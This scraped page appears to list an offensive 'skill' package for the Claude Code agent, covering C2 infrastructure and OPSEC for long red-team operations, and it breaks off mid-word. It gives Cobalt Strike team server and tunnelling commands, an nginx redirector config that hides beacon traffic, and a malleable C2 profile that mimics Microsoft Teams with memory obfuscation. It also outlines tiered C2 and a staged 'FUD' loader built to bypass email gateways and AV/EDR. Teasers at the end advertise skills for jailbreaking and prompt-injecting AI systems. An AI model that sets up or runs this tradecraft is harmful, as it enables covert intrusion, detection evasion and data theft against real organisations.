active-directory-attac…
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu),…
--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase:
$ npx -y skills add hypnguyen1209/offensive-claude --skill advanced-redteam --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/advanced-redteamContext preview
The summary Claude sees to decide when to auto-load this skill.
--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase:
--- name: advanced-redteam-ops description: Use when designing C2 infrastructure or OPSEC for a long-haul red-team op — redirectors, malleable profiles, tiered/segregated infra, living-off-the-land, data exfiltration metadata: type: offensive phase: operations kill_chain: phase: [c2, actions] step: [6, 7] attck_tactics: [TA0011, TA0008, TA0010] depends_on: [edr-evasion, exploit-development, red-team-ops] feeds_into: [threat-hunting] inputs: [c2_framework, redirector_config] outputs: [c2_infrastructure, opsec_report, exfil_channel] ---
**Rule**: Team server ONLY binds to localhost. NEVER bind to 0.0.0.0 or external interface.
# Cobalt Strike team server (bind locally) ./TeamServerImage -Dcobaltstrike.server_port=50050 \ -Dcobaltstrike.server_bindto=127.0.0.1 \ -Djavax.net.ssl.keyStore=./cobaltstrike.store \ teamserver 127.0.0.1 <password> # Tunnel via websocat (CStrike uses raw TCP, smuggle in WebSocket) websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 & # Cloudflare tunnel (or ngrok) cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate # Or: named tunnel via Zero Trust → point to domain + UUID path # On operator machine: websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/<uuid> & # Connect CStrike client to 127.0.0.1:2222
**Benefits**:
# Nginx redirector with filtering
server {
listen 443 ssl;
server_name legit-looking.com;
ssl_certificate /path/to/cert.pem;
ssl_certificate_key /path/to/key.pem;
# Only forward traffic matching Malleable C2 profile
location /api/v2/session {
# Check custom header (beacon identifier)
if ($http_x_session_id != "valid-beacon-id") {
return 301 https://microsoft.com$request_uri;
}
# Check User-Agent matches profile
if ($http_user_agent !~* "Mozilla/5.0.*Teams") {
return 301 https://microsoft.com$request_uri;
}
# Forward to team server
proxy_pass https://127.0.0.1:8443;
proxy_ssl_verify off;
}
# Deflect all other traffic to legitimate site
location / {
return 301 https://microsoft.com$request_uri;
}
}**NEVER use default profiles** — always customize:
# Disable staging (unless absolutely necessary)
set host_stage "false";
# Memory obfuscation
set sleep_mask "true"; # Encrypt heap while sleeping
set obfuscate "true"; # Avoid generic memory signatures
# Mimic legitimate traffic (Microsoft Teams example)
http-get {
set uri "/api/v2/users/presence";
client {
header "User-Agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) Teams/1.5.00.32283";
header "Accept" "application/json";
metadata {
base64url;
prepend "session_id=";
header "Cookie";
}
}
server {
header "Content-Type" "application/json";
header "Server" "Microsoft-IIS/10.0";
output {
base64url;
prepend "{\"status\":\"available\",\"data\":\"";
append "\"}";
print;
}
}
}
# Certificate OPSEC
https-certificate {
set keystore "legitimate-cert.store";
set password "password";
}**Profile Tips**:
Tier 1: Phishing/Delivery (High-reputation, short-lived) ├── Purpose: Get initial payload to target ├── Lifespan: 1-2 weeks (burn after phishing campaign) ├── Domain: Aged 2+ weeks, legitimate category, SPF/DKIM/DMARC └── Once flagged → burned, move to Tier 2 Tier 2: Interactive C2 (Short-haul, active operations) ├── Purpose: Hands-on-keyboard work ├── Lifespan: Duration of active engagement ├── Protocol: HTTP/S, high bandwidth └── Higher detection risk due to frequent traffic Tier 3: Long-haul C2 (Persistence, backup) ├── Purpose: Respawn Tier 2 access if burned ├── Lifespan: Months (low and slow) ├── Protocol: DNS, ICMP, or other covert channel ├── Beacon: Once per day/week └── NEVER run active commands through this tier
**Advanced**: Use different C2 frameworks per tier (e.g., lightweight custom implant for Tier 3, Cobalt Strike for Tier 2).
Stage 0: Loader (<30KB, FUD) ├── Format: NOT .exe (use .dll sideload, .hta, .lnk+script, ISO container) ├── Job: Download/extract/inject Stage 1 ONLY ├── Must bypass: Email gateway + endpoint AV └── Self-contained, no external dependencies Stage 1: Minimal Implant (Lightweight C2) ├── Commands: ls, whoami, pwd, download, upload, execute (5-6 total) ├── Persistence: Registry, scheduled task ├── FUD: May touch disk ├── Purpose: Recon and deploy Stage 2 after assessment └── Redundancy: Multiple protocols (HTTPS + DNS fallback) Stage 2: Full C2 (Cobalt Strike, Sliver, Havoc) ├── Full post-exploitation capability ├── In-memory ONLY (never written to disk) ├── Deployed after: AV/EDR killed or strong foothold established ├── Replace Stage 1 persistence with Stage 2 └── Most signatured — only deploy when safe
**Key Principle**: Attack for persistence, not command execution. Every stage should be redundant.
# Downlo
A spec-driven offensive security framework for Claude Code — structured engagement workflows based on the Cyber Kill Chain, 31 kill-chain skills (multi-file progressive-disclosure) plus a discipline layer (a SessionStart dispatcher + 6 process/discipline
Repo: hypnguyen1209/offensive-claude
Use when attacking a Windows Active Directory domain — Kerberos roasting/delegation, coercion + NTLM/Kerberos relay (CVE-2025-33073), ADCS ESC1-16 (EKUwu),…
Use when red-teaming an agentic AI / LLM application — indirect & zero-click prompt injection, MCP tool poisoning, persistent memory poisoning,…
Use when attacking an AI/ML system or model — prompt injection & jailbreaks (Crescendo, Skeleton Key, Best-of-N), RAG/vector poisoning, agentic/MCP…
Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo…
Use when attacking or auditing a CI/CD pipeline or software supply chain — pwn requests, poisoned pipeline execution, compromised/mutable-tag actions,…
Use when attacking AWS/Azure/GCP cloud — IAM/identity privilege escalation, IMDS/metadata SSRF, Entra device-code & PRT theft, GCP impersonation chains,…